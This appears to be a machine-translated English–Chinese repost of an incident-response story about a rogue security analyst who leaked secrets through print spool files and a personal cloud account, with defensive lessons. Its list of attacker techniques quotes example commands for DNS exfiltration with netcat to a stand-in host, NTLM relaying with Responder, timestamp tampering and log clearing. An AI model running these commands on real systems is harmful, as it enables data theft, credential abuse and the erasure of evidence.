std::map 初始化_初始事件分类和摘要：

std::map 初始化

It’s not every day that you get a phone call at 2 AM asking for a breach response job. Let alone, one that we would later discover to be originated from not just any insider threat — a rogue security professional insider threat. In this article I will walk you through what happened in this incident, the indicators of compromise (IOCs), Tactics, Tools, and Procedures (TTPs), and the strategies involved with detecting and responding to a rogue cyber insider.

并非每天凌晨2点都有电话要求违规响应工作。 更不用说，我们以后会发现它不仅源于任何内部威胁-流氓安全专业人员的内部威胁。 在本文中，我将向您详细介绍此事件中发生的情况，妥协指标( IOC )，策略，工具和程序( TTP )，以及检测和响应恶意网络内部人员的策略。

The article will be a blend of technical details and strategic oversight guidance in tandem with our story. After the details and story, you will find strategic mind maps and other thoughts on combating this type threat. We created this article largely because everyone has mentioned insider threats at some point; but no one has really addressed any specific scenarios around if the actor was one of their own defenders.

本文将结合我们的故事，结合技术细节和战略监督指导。 在细节和故事之后，您将找到应对这种威胁的战略思维导图和其他想法。 我们之所以创建这篇文章，主要是因为每个人在某个时候都提到了内部威胁。 但是，如果演员是自己的捍卫者之一，则没有人真正解决过任何具体情况。

Disclaimer: I will go over what is allowed to be shared given our negotiations with the customer and of course our well-equipped OGC. Many details have been limited including time, location, and references to specific tools. Any referenced TTP’s involving syntax will be referenced using publicly known tools common in many cyber incidents. Any and all activities performed in this article are done by professionals with proper insurance and legal guidance. Please consult with your OGC before performing any such operations on your own.

免责声明：鉴于与客户的谈判以及我们设备完善的OGC，我将讨论允许共享的内容。 许多细节受到限制，包括时间，位置以及对特定工具的引用。 任何引用的涉及语法的TTP都会使用许多网络事件中常见的公共工具进行引用 。 本文中执行的所有活动都是由专业人员在适当的保险和法律指导下完成的。 自行执行任何此类操作之前，请先咨询您的OGC。

初始事件分类和摘要： (Initial Incident Triage and Summary:)

After receiving the call, we gathered the details over the phone and in a secure meeting room with the client (and drank lot of coffee). The client’s CEO and CIO were convinced that they were dealing an APT adversary from the outside while the CISO believed there was a possibility of an insider threat from one of the research engineers. As an outside party just stepping into the situation and that they were not current or prior customers; we did not have any baselines or other MSSP related infrastructure of our own to use. We had to rely on the existing client’s security program posture, visibility, and assessments by their SOC. A few honey files were triggered that had attempted to leave their egress perimeter through DNS tunneling. As far as the data was concerned, a block occurred in logs for both TCP and UDP session attempts. However, on the UDP side a bastion switch reported flows going out to the suspicious exfil point.

接到电话后，我们通过电话和与客户一起在安全的会议室中收集了详细信息(并喝了很多咖啡)。 客户的首席执行官和CIO确信他们正在与外界进行APT对抗，而CISO则认为其中一位研究工程师可能会对内部人构成威胁。 作为外部参与者，只是介入情况而已，他们不是当前或以前的客户； 我们没有可使用的任何基准或其他与MSSP相关的基础架构。 我们必须依靠现有客户的安全计划状态，可见性以及他们的SOC进行的评估。 触发了一些蜜文件 ，这些蜜文件试图通过DNS隧道离开出口范围。 就数据而言，TCP和UDP会话尝试均在日志中发生了阻塞。 但是，在UDP端，堡垒交换机报告说有流量流出到可疑的溢出点。

The SOC and CIRT had narrowed down the possible internal hosts that had accessed the honey files based on time correlation and were beginning to investigate suspected malware payload from logical file system acquisition and memory images. What was unknown and unclear was the originating vector of the malware from the kill chain and the delivery method. The anomaly was noted in our calls that they usually have some form of visibility given that they had endpoint security and web content filtering monitoring (at least north to south). The standard incident response from their team applied and they’re containing the possible infected hosts, changing service account credentials, re-imaging and ensuring everything is patched and that the malware variations and any IOC’s pulled are put into their signatures or rules.

SOC和CIRT已根据时间相关性缩小了访问蜜文件的可能内部主机的范围，并开始从逻辑文件系统获取和内存映像中调查可疑的恶意软件有效负载。 未知和不清楚的是查杀链和传送方法中恶意软件的起源媒介。 在我们的电话中指出，异常情况通常是具有某种形式的可见性，因为它们具有端点安全性和Web内容筛选监视(至少从北到南 )。 应用了他们团队的标准事件响应，他们包含可能的受感染主机，更改服务帐户凭据，重新映像并确保对所有内容进行了修补，并将恶意软件变体和任何IOC放入其签名或规则中。

调查终止链的早期部分： (Investigating earlier parts of the kill chain:)

Given the action on objectives and malware detection was a combination of heuristics from the antivirus (AV); our Statement of Work (SOW) was helping to discover attribution much further up in the kill chain. Considering we had two initial theories by the client with their own security operations program (External APT and Insider Threat); we began swiftly on our own list of TTP’s and IOC’s working along side in their SOC threat hunting. In today’s climate; a lot of threat hunting teams started converging on the MITRE ATT&CK framework or at least use it as an initial baseline.

鉴于目标和恶意软件检测方面的行动是反病毒(AV)启发式技术的结合； 我们的工作说明书(SOW)有助于在查杀链中更进一步地发现归因。 考虑到我们有两个关于客户自己的安全操作程序的初始理论(外部APT和内部威胁)； 我们Swift开始在自己的TTP和IOC合作名单中寻找其SOC威胁。 在今天的气候下； 许多威胁搜寻团队开始集中在MITER ATT＆CK框架上，或至少将其用作初始基准。

In our own triage of we came across the following:

在我们自己的分类中，我们遇到了以下问题：

Evidence of TimeStomp type actions, T1099 against the honey files     Example: From Meterpreter sessions > “timestomp <file.ext> -v”     Example: Timestomper “TimeStomper.exe -m 1-1-2020 1:2:34 -a 1-2-2020 4:32:1 -    c 1-3-2020 12:34:56 -p C:\temp\file.ext”
Username of a staff research engineer in correlated time logs of the honey file shares, T1039     Example: Windows Event ID 5140 and Windows Event ID 4624 Type 3     Example: Linux “lsof -u or” “nsfswatch -clients”
A few attacker tools installed on research engineer’s primary machine, T1362     Example: Nmap: “sudo apt-get install nmap” 
Process analysis of a command ran including exfiltration over DNS attempt, T1048     Example: Client side: “cat file.ext | nc <myexfilserver.com> 53”     Example: Server side: “nc -L -p 53 >> /tmp/file.ext”
Possible use of pass-the-hash via relay T1171     Example: Windows Event ID 4624 Type 3 with NTLM authentication type and Windows Event ID 4697     Example: Monitoring NTLM via ketshash     Example: Responder or Mimikatz for Relays “python Responder.py -I eth0 -rv;  python MultiRelay.py -t <target addr> -u ALL -d”
Logs on victim host cleared, T1070     Example: PowerShell Clear-EventLog cmdlet     Example: Meterpreter clearlogs function     Example: Windows Event ID 1102 or 517

数据异常： (Data Anomalies:)

In addition to the TTP and IOC’s above the timeline of the events within a reasonable correlation window occurred completely during normal business hours. While the dwell time was not too bad; one thing that seemed to be scratching our heads was that the original source IP that initiated the pass-the-hash relay as the originating attacker traced back to what appeared to be a recently stood up AD domain controller “lab” VM. Yikes. As we kept digging the data started getting convoluted as controller event logs (busy ones) tend to roll over quickly. Since it was a lab VM and not officially supposed to be in production, there was no agent forwarding the logs to the SIEM. There was also a bad habit of the local IT administration staff to login interactively using generic credential names.

除了上述的TTP和IOC之外，合理的关联窗口中的事件时间表完全在正常工作时间内发生。 停留时间还算不错。 似乎困扰我们的是，作为发起攻击者而发起哈希传递中继的原始源IP可以追溯到最近站起来的AD域控制器“实验室” VM。 kes。 随着我们不断挖掘数据，由于控制器事件日志(繁忙的日志)倾向于快速翻转，因此数据开始变得混乱。 由于它是实验室VM，并且尚未正式投入生产，因此没有代理将日志转发到SIEM 。 当地IT管理人员也有使用通用证书名称进行交互式登录的不良习惯。

We also investigated the SIEM with the IP’s of interest for any possible long-term ‘low and slow’ attacks and found several log sources that seem to mismatch the type of log stream data compared to what should be parsed. i.e. (Syslog as the log source data type, yet the data itself is in Windows Event format).

我们还针对感兴趣的IP对SIEM进行了调查，以查找任何可能的长期“低速和慢速”攻击，并发现多个日志源似乎与应解析的日志流数据类型不匹配。 即( Syslog作为日志源数据类型，但数据本身为Windows Event格式 )。

挫折与指责： (Frustrations and Accusations:)

By this time, we had provided our findings report in tandem with the team; and we provided some recommendations on further preventing such an incident. Even though there were flow records on a edge switch that indicate possible exfiltration over the UDP DNS port; the byte count just did not match and so we chalked this up to the IPS enforcement delay killing the connection after protocol inspection. Also, during the examination of the destination IP address, we were perplexed that it went to a well known publicly traded company not within the client’s vertical or competition.

到这个时候，我们已经与团队一起提供了调查结果报告； 我们还提供了一些有关进一步防止此类事件的建议。 即使边缘交换机上有流记录，表明可能通过UDP DNS端口进行了渗透； 字节数不匹配，因此我们将其归因于IPS强制执行延迟，以便在协议检查后终止连接。 另外，在检查目标IP地址时，我们感到困惑的是，它去了一家知名的公开交易公司，不在客户的垂直或竞争范围之内。

When contacting their security teams with the client; the answer was that they did not receive anything other than the initial logged connection attempt over UDP from the ASN space of our client. There was also not any evidence from log sources that indicated that there was any further connectivity to attempted exfil point from any other sourced internal host in our network. Keep in mind, that we’re already a couple of days into the engagement and with inconclusive findings such as this for attribution; our client was initially very displeased. We were almost kicked out early as they believed we weren’t doing enough or doing our jobs correctly. We obviously assured them we were equally frustrated and would continue our investigation and finish off the SOW hours as intended.

与客户联系其安全团队时； 答案是，除了从客户端的ASN空间通过UDP进行的初始登录连接尝试之外，他们没有收到任何其他信息。 日志来源也没有任何证据表明从我们网络中任何其他来源的内部主机到尝试的泄漏点都有任何进一步的连接。 请记住，我们已经参与了几天，并且得出了不确定的结论(例如归因)； 我们的客户起初非常不高兴。 我们差点被淘汰出局，因为他们认为自己做得不够或做得正确。 我们显然向他们保证，我们同样会感到沮丧，并将继续进行调查并按计划完成SOW小时。

丰盛的假期： (Our Hunch and Lucky Break:)

Nearing the end of our first 40 hours in the engagement; we began asking the security team for any other keywords, projects, or items of interest that espionage actors may wish to pursue. We also requested a copy of the memory image so we could extract any malware payload ourselves. All the logs, digging for confidential data access, and any sign of a specific APT from the reverse engineering efforts led to a standard vanilla and threat agnostic set of results. Our company’s brand and my reputation were on the line.

订婚的前40个小时即将结束； 我们开始向安全团队询问间谍活动者可能希望追求的其他任何关键字，项目或感兴趣的项目。 我们还要求提供内存映像的副本，以便我们自己提取任何恶意软件负载。 所有日志，用于机密数据访问的挖掘以及来自反向工程工作的特定APT的任何迹象都导致了标准的标准和与威胁无关的结果集。 我们公司的品牌和我的声誉在线上。

I sat in my “contractor” appointed cube with my secondary analyst and we were stuck in some random hole where auxiliary hosts and printers were for the department that could be used by both IT and Security. There was a junior analyst that was creating playbooks and documentation that had to be signed off and required hard copy printing. Multiple times in the week the analyst would come near the printer in our working area and complain to himself on who keeps turning off the printer and would storm off annoyed that they were delayed by a few minutes for the MFC to warm up. (*This becomes important in a moment)

我和我的二级分析师坐在“承包商”指定的立方体中，我们被困在一个随机的洞中，那里的辅助主机和打印机是供IT和安全部门使用的部门。 有一个初级分析师正在创建必须签署并需要印刷硬拷贝的剧本和文档。 在一周中，分析人员会多次来到我们工作区域的打印机附近，向自己抱怨是谁一直在关闭打印机电源，并且由于MFC的预热时间延迟了几分钟而烦恼不已。 ( *此刻很重要 )

投放网络反情报业务： (Pitching Cyber Counter Intelligence Ops:)

Thinking back about my interactions on a couple of interviews; some phrases came to my mind out of randomness. While interviewing for a Sourcefire direct role (pre-Cisco) with one of the original developers of Snort — he stated that “there was a lot of inherit trust in the security community.” In another odd occurring thought I remembered my Amazon interview and one gentleman asked over the phone: “How would you own Amazon as an attacker?” The light bulb went on and I knew it would be a long shot but — why would any serious insider threat or APT hit honey files only, once, and be with hacking activities using generic payload to only get caught? A possible decoy and deception incident!

在几次采访中回想我的互动； 我突然想到了一些短语。 在与Snort的原始开发人员之一面谈Sourcefire的直接角色(在Cisco之前)时，他说：“在安全社区中有很多继承信任。” 在另一个奇怪的想法中，我想起了我对亚马逊的采访，一位绅士在电话中问道：“您如何将亚马逊作为攻击者？” 灯泡一直亮着，我知道这是一个远景，但是-为什么任何严重的内部威胁或APT只会一次击中蜂蜜文件，并且会使用通用有效载荷进行黑客活动，仅被捕获？ 可能是诱饵和欺骗事件！

We requested an immediate off-site secure meeting with only the CEO, CISO, and CIO to propose our cyber counter intelligence ops. We needed to monitor the security operations team as well. It was a long shot and we had some disgusted looks and frowns in our first 15 minutes of the meeting. We explained our reasoning that included:

我们要求立即与首席执行官，CISO和CIO进行一次场外安全会议，以提出我们的网络计数器情报操作建议。 我们还需要监视安全运营团队。 这是一个漫长的镜头，在会议的前15分钟里，我们有些厌恶的表情和皱眉。 我们解释了我们的推理，其中包括：

• Inconsistent log source to data types in the SIEM during the correlated incident activity
  相关事件活动期间，SIEM中的数据类型的日志源不一致
• Lack of actual ‘action on objectives’ true measurable evidence
  缺乏实际的“目标行动”的真实可衡量的证据
• Lack of external vector data even with North/South visibility
  即使具有北/南可见性，也缺少外部矢量数据
• Lack of evidence to support that the R&D engineers’ credentials with honey files had specific DNS exfiltration know-how
  缺乏证据来证明研发工程师的蜂蜜文件凭据具有特定的DNS渗透专门知识
• Generic payloads and sloppy anti-forensics to be an outsider targeted attack
  通用有效载荷和草率的反取证将成为局外人的攻击
• Lack of the payloads and IOC’s discovered on any other endpoints and log data across the network
  缺少有效载荷和在其他任何端点上发现的IOC，并在网络上记录数据

They came around and were willing to try it pending their CLO’s approval and with the right restrictions. We were also required to do this with our remaining hours instead of spending time finalize the reports, post-incident TTP training, and debriefs.

他们来了，并愿意尝试，直到获得CLO的批准并且有适当的限制。 我们还被要求用剩余的时间来完成此工作，而不是花费时间来完成报告，事后TTP培训和汇报。

放样设置： (The Stakeout Setup:)

During our investigation we had no evidence of improper file access or further tampering in the logs based on network file shares against what would be considered confidential files lateral near the original honey files. We even had FIM enabled on all the files that would be of great interest to anyone within and outside the project team to potentially leak out to any competitors or somehow sabotage the data. As part of our cover, we let the Security Operations team know ahead of time that we planned on staging a “sting” and setup social engineering and other ploys as part of a red team engagement against the R&D engineers that were on the same team of the original compromised credentials.

在我们的调查过程中，我们没有证据表明文件访问不当或基于网络文件共享的日志进一步篡改了原始蜜文件附近的机密文件。 我们甚至对所有文件启用了FIM ，这对于项目团队内部和外部的任何人都非常感兴趣，它们有可能泄露给任何竞争对手或以某种方式破坏数据。 作为掩护的一部分，我们让安全运营团队提前知道我们计划进行一次“准备工作”并设置社会工程和其他策略，这是红色团队与同一个团队中的研发工程师进行互动的一部分。原始的受感染凭证。

It was all cheers from the team and we had them get to work on “assisting” us in the setup. While my partner kept the entire SOC busy: I setup our own UEBA and action monitoring with extra verbosity in a silent push using break-the-glass credentials local to each host on the security team including my original anomalous thought of the print server. I also had the IT network ops team forward me access switch layer separate log data of the entire security department since NAC was also in the SOC’s control. I also had them port mirror (SPAN) all the traffic also in the security and the R&D engineering teams traffic to a local capture box I brought with me and safely hid it in one of the MDC racks.

团队的全力以赴，我们让他们开始在设置中“协助”我们。 当我的合伙人让整个SOC忙碌时：我以无声的方式设置了自己的UEBA和动作监视，使用了安全团队中每个主机本地的玻璃破碎凭据来静默推送，包括我对打印服务器的最初想法。 我还让IT网络运营团队将整个安全部门的访问日志层的日志数据转发给我，因为NAC也处于SOC的控制之下。 我还让他们将端口镜像(SPAN)和安全性中的所有流量以及研发工程团队的流量都带到了我带来的本地捕获盒中，并安全地将其隐藏在MDC机架之一中。

Now we had the Security Ops team distracted with active monitoring and baiting the R&D teams into varying phishing and “sock puppet” type interactions; I was waiting for whatever threat still on the network to strike again; and I was hoping I was wrong about the security team.

现在，我们让Security Ops团队分散精力，进行主动监视，并诱使R＆D团队进行各种网络钓鱼和“ 袜子木偶 ”类型的交互。 我正在等待网络上仍然存在的任何威胁再次发生。 我希望我对安全团队有错。

打印服务器抢劫： (The Print Server Heist:)

For the next few days things seemed quiet and the R&D engineers weren’t biting. They were reporting the elevated phishing and social engineering attempts to sec ops. The SOC team was still caught up in the thrill of performing a red team activity since they don’t get to dive into that world. Just when I thought nothing was going to happen; someone started spooling to the print server right next to the cube I was working in. Lo and behold; the printer was off (again). The spool files were large and had generic names from TV shows associated with them. For example: Bart Simpson.docx .

在接下来的几天里，一切似乎平静了下来，研发工程师对此没有任何抱怨。 他们报告说网络钓鱼和社会工程学试图提高操作水平的企图。 SOC团队仍然沉迷于进行红色团队活动的快感，因为他们无法深入到这个世界。 就在我以为什么都不会发生的时候； 有人开始后台打印到我正在使用的多维数据集旁边的打印服务器。 打印机关闭(再次)。 假脱机文件很大，并具有与之关联的电视节目的通用名称。 例如： Bart Simpson.docx 。

The source of the print out was the AD user name of one of the security analyst that managed the SIEM! I quickly acquired the spool file and parsed it through a viewer and sure enough (and saddening) it was the top secret data that the C-suite was worried about was being leaked. A file greater than 500 MB through a printer; how can you not resist opening it up? But why was the analyst printing to an ‘offline’ printer to begin with through the print server? Another light bulb went on— he was doing the same thing I was doing! Taking the spool file and can view/parse or export it later on. Why? Sometimes DLP solutions exclude extensions or file magic from inspection such as DLL’s and/or have size limits scanning the first and last X number of megabytes.

打印出的来源是管理SIEM的一位安全分析师的AD用户名！ 我Swift获取了假脱机文件，并通过查看器对其进行了解析，并确定(令人悲伤的是)这是高级管理人员担心泄露的最高机密数据。 通过打印机大于500 MB的文件； 您怎么能不抗拒开放呢？ 但是，为什么分析师首先通过打印服务器打印到“脱机”打印机？ 另一个灯泡亮了—他在做我在做的同样的事情！ 获取假脱机文件，以后可以查看/解析或导出它。 为什么？ 有时，DLP解决方案从检查中排除了扩展名或文件魔术(例如DLL)和/或对扫描第一个和最后一个X兆字节具有大小限制 。

I quickly secure messaged my other team members to start looking into logs, pcaps/traffic, for all activity tied to that security analyst user. We started seeing him access a file share where a bunch of virtual appliances and VHD’s are kept. This was a master share that kept everyones files in which he had full read access because IT/Security GPO’s. Also, in it was the R&D Engineering team’s VDI’s and VHD’s that was used for reporting, research, and other development.

我Swift向我的其他团队成员发送了安全消息，要求他们开始查找与该安全分析人员用户相关的所有日志pcaps / traffic 。 我们开始看到他访问文件共享，其中保留了许多虚拟设备和VHD。 这是一个主要共享，由于IT /安全GPO的存在，每个人都拥有他具有完全读取访问权限的文件。 此外，R＆D工程团队的VDI和VHD用于报告，研究和其他开发。

The next line item was to figure out how he would get into it. We were watching for another sign of MiTM type traffic and pass the hash or relays. Then suddenly we see him copy the VHD locally mount, and spin it up with a password reset ISO. It turns out the virtual images were not encrypted and even if they were; they were in a running state anyways.

下一个项目是弄清楚他将如何进入。 我们正在观察MiTM类型流量的另一种迹象，并传递哈希或中继。 然后突然我们看到他复制了本地VHD挂载，并使用密码重置ISO旋转了它。 事实证明，虚拟映像未加密，即使已加密也是如此。 他们仍然处于运行状态。

From there, our rogue security insider extracted the files he wanted, renamed them and sent them to the print server for spooling to get hung in the queue. From the print server he used a SCP client to copy the spool file(s) back to the SIEM appliance using a generic break the glass local account.

从那里，我们的流氓安全内幕专家提取了他想要的文件，将其重命名，然后将它们发送到打印服务器进行后台处理，使其挂在队列中。 他使用通用客户端破解玻璃本地帐户从SCP服务器使用SCP客户端将后台打印文件复制回SIEM设备。

At that point with our real time screen sharing with the C-suite they gave us authorization to pull the cord lock him out of everything.

那时，我们与C级套房共享实时屏幕，他们授权我们将绳索从所有物品中拉出。

On the SIEM appliance we would later find that he proceeded to login to his own personal Microsoft Azure account and upload the file as blob storage using the Azure CLI packages. He had already sent to himself different junk files of varying sizes and types. We think that he was testing the detection on that appliance first knowing that there was a full administrative shell and Internet access without restriction or specific host based DLP monitoring.

在SIEM设备上，我们稍后会发现他继续登录到自己的个人Microsoft Azure帐户，并使用Azure CLI包将文件上传为Blob存储 。 他已经向自己发送了不同大小和类型的不同垃圾文件。 我们认为他首先知道该设备具有完整的管理外​​壳和Internet访问而没有限制或基于特定主机的DLP监视，因此正在对该设备进行检测。

战术教训和收获： (Tactical Lessons Learned and Takeaways:)

That was a long story but we tried to keep it detailed enough to get a decent picture of the tactical requirements for prevention and detection. You should’ve noted many different TTP’s and IOC’s that resemble what a mature security program should be detecting. This is almost the ultimate test of any security program; when one of your own sec ops professionals turns on you. Some of the hardening efforts that could’ve helped slow or stop this individual included:

这是一个漫长的故事，但是我们试图保持足够详细，以期对预防和侦查的战术要求有一个清晰的了解。 您应该已经注意到许多不同的TTP和IOC，它们类似于成熟的安全程序应检测的内容。 这几乎是任何安全程序的最终测试； 当您自己的sec ops专业人员之一打开您的视线时。 可能有助于减慢或阻止此人的一些艰苦努力包括：

• Ensuring proper endpoint monitoring for all activities were enabled on all security hosts
  确保在所有安全主机上启用对所有活动的正确端点监视

• Ensure that ‘shadow’ software, packages, VM’s, hosts, or other hardware are kept off the network including in the security area

  确保“影子” 软件 ，程序包，VM，主机或其他硬件远离网络，包括在安全区域

• Non-prod and lab related hosts need the same level of monitoring like any other host from your security baseline standard
  与非产品和实验室相关的主机需要与安全基准标准中的任何其他主机相同的监视级别

• At minimum SSL/SSH decryption visibility is needed for any DLP program

  任何DLP程序都至少需要SSL / SSH解密可见性

• Hardening to prevent the decoy should have included SMB Signing

  为防止诱骗而进行的加固应包括SMB签名

• Separation of duties further on the access controls and segmentation of the security zone ops data and functional images from other data should be enforced
  应加强对访问控制的职责分离，并对安全区操作数据和功能映像与其他数据进行分段

• Change control integrity of all security systems should be monitored

  应该监视所有安全系统的变更控制完整性

• Triple check log sources and integrity and ensure that validation is required to prevent spoofing; e.g. TLS enforcement with client certificates for Syslog

  仔细检查日志源和完整性，并确保需要进行验证以防止欺骗； 例如，使用Syslog 客户端证书执行TLS

• Consider using complementary web beacons or alternative data streams to bolster your DLP program

  考虑使用补充性的Web信标或替代数据流来增强DLP程序

• Require hard copies and secure physical access to any “break the glass” account credentials after setup
  设置后，需要纸质副本并安全地物理访问任何“破解”帐户凭据

其他内部威胁模型： (Other Insider Threat Models:)

There are tons of resources that highlight additional courses of action and example scenarios. However, keep in mind that each corporate culture and legal capability to do specific counterintelligence operations differs and many private sector entities will not have the resources to enact a full-on program. Implementation of tactical and strategic preparations can greatly reduce the harm caused by a double agent or other intelligence operator. Here are some additional papers that have been crafted surrounding this topic:

有大量资源重点介绍了其他行动方案和示例方案。 但是，请记住，进行特定反情报业务的每种公司文化和法律能力都不同，并且许多私营部门实体将没有资源来制定全面的计划。 实施战术和战略准备工作可以大大减少双重代理人或其他情报人员造成的伤害。 以下是围绕该主题制作的其他一些论文：

• CISAC Insider Threat Workshop of 2013

  2013年CISAC内部威胁研讨会

• Identifying at-Risk Employees: A Behavioral Model for Predicting Potential Insider Threats

  识别风险员工：一种预测潜在内部威胁的行为模型

• MITRE’s Analysis and Detection of Malicious Insiders

  MITRE对恶意内部人员的分析和发现

One important distinction between a typical cyber espionage and a true rogue security professional is the level of complexity and evasion that is performed along with sometimes lackluster scrutiny. The following CIA cases are also example paths and IOC’s to watch for any security defensive program:

典型的网络间谍活动和真正的流氓安全专业人员之间的一个重要区别是执行的复杂性和逃避级别以及有时缺乏足够的审查。 以下CIA案例也是监视任何安全防御程序的示例路径和IOC：

准备和准备思维导图： (Preparation and Readiness Mind Map:)

We’ve taken some of the best of all of the worlds in security and aligned it to the CISO mindmap in what needs to be done for detection planning against a rogue cyber security agent. This involves incorporating what your own program weaknesses are and how to exploit them. Only your security team will know where you are most vulnerable.

我们采取了世界上最好的安全措施，并将其与CISO思维导图保持一致，以针对恶意网络安全代理进行检测计划需要做什么。 这涉及到合并您自己的程序弱点以及如何利用它们。 只有您的安全团队才能知道您最容易受到攻击的地方。

The primary areas to consider are:

要考虑的主要领域是：

• Cyber Threat Intel Diamond Model Profile

  网络威胁英特尔钻石模型简介

• Psychosocial profile indicators (includes sentiment analysis)

  社会心理特征指标(包括情绪分析)

• Resources (available to the rogue actor technical and human)
  资源(对流氓演员的技术和人力可用)
• Motives (Usually destruction, sabotage, or data leakage)
  动机(通常是破坏，破坏或数据泄漏)
• Existing Skillsets (interpersonal, technical, etc)
  现有技能(人际，技术等)

• Kill Chain Analysis (Scenarios for the threat to exploit)

  杀死链分析(利用威胁的方案)

I’ll briefly highlight some of the CTI diamond model expansions, you can find my full mind map on Github. If you aren’t familiar with the cyber threat intelligence diamond model; please do get acquainted. It’s quite useful for mapping out what to expect when you create playbooks. ThreatConnect’s image is shown below:

我将简要介绍一些CTI钻石模型扩展，您可以在Github上找到我的完整思维导图。 如果您不熟悉网络威胁情报钻石模型； 请一定要结识。 这对于在创建剧本时列出期望内容很有用。 ThreatConnect的图像如下所示：

When compared to our mind map we can achieve similar patterns and sometimes with overlap because the target is the employer:

与我们的思维导图相比，我们可以实现类似的模式，有时可以重叠，因为目标是雇主：

闭幕： (Closing:)

We hope you have enjoyed a small taste of what we went through on one of our engagements. This was particularly interesting to us because it truly tests what your information security program is capable of when you must pit security defender against one another in a true espionage battle.

我们希望您对我们参与其中的一项活动有所了解。 这对我们特别有趣，因为它可以真正测试您的信息安全程序的能力，当您在一场真正的间谍战中必须让安全防御者相互对抗时。

If you’re wondering what happened with the individual who went rouge on our client — we later found out through a series of law enforcement related updates that he was a double agent infiltrator working for the competitor taking payment in cryptocurrency from shell account companies which were eventually traced. The threat actor joined the team’s security opening specifically and only for the sole purpose of stealing secrets.

如果您想知道对我们的客户发红的个人发生了什么事，我们后来通过一系列与执法有关的更新发现，他是一名双重代理渗透者，为竞争对手工作，他们从空壳帐户公司那里以加密货币付款，最终被追踪。 威胁演员是专门为了窃取机密而专门加入该团队的安全通道的。

As always, if you’re ever in need of cyber security services, please drop me a line at www.scissecurity.com

与往常一样，如果您需要网络安全服务，请在www.scissecurity.com上给我留言。

Let us know what you thought of our article; Have a safe and secure day!

让我们知道您对我们文章的看法； 祝您安全愉快！

翻译自: https://medium.com/swlh/catch-me-if-you-can-a-rogue-cyber-security-professional-80010d542285

std::map 初始化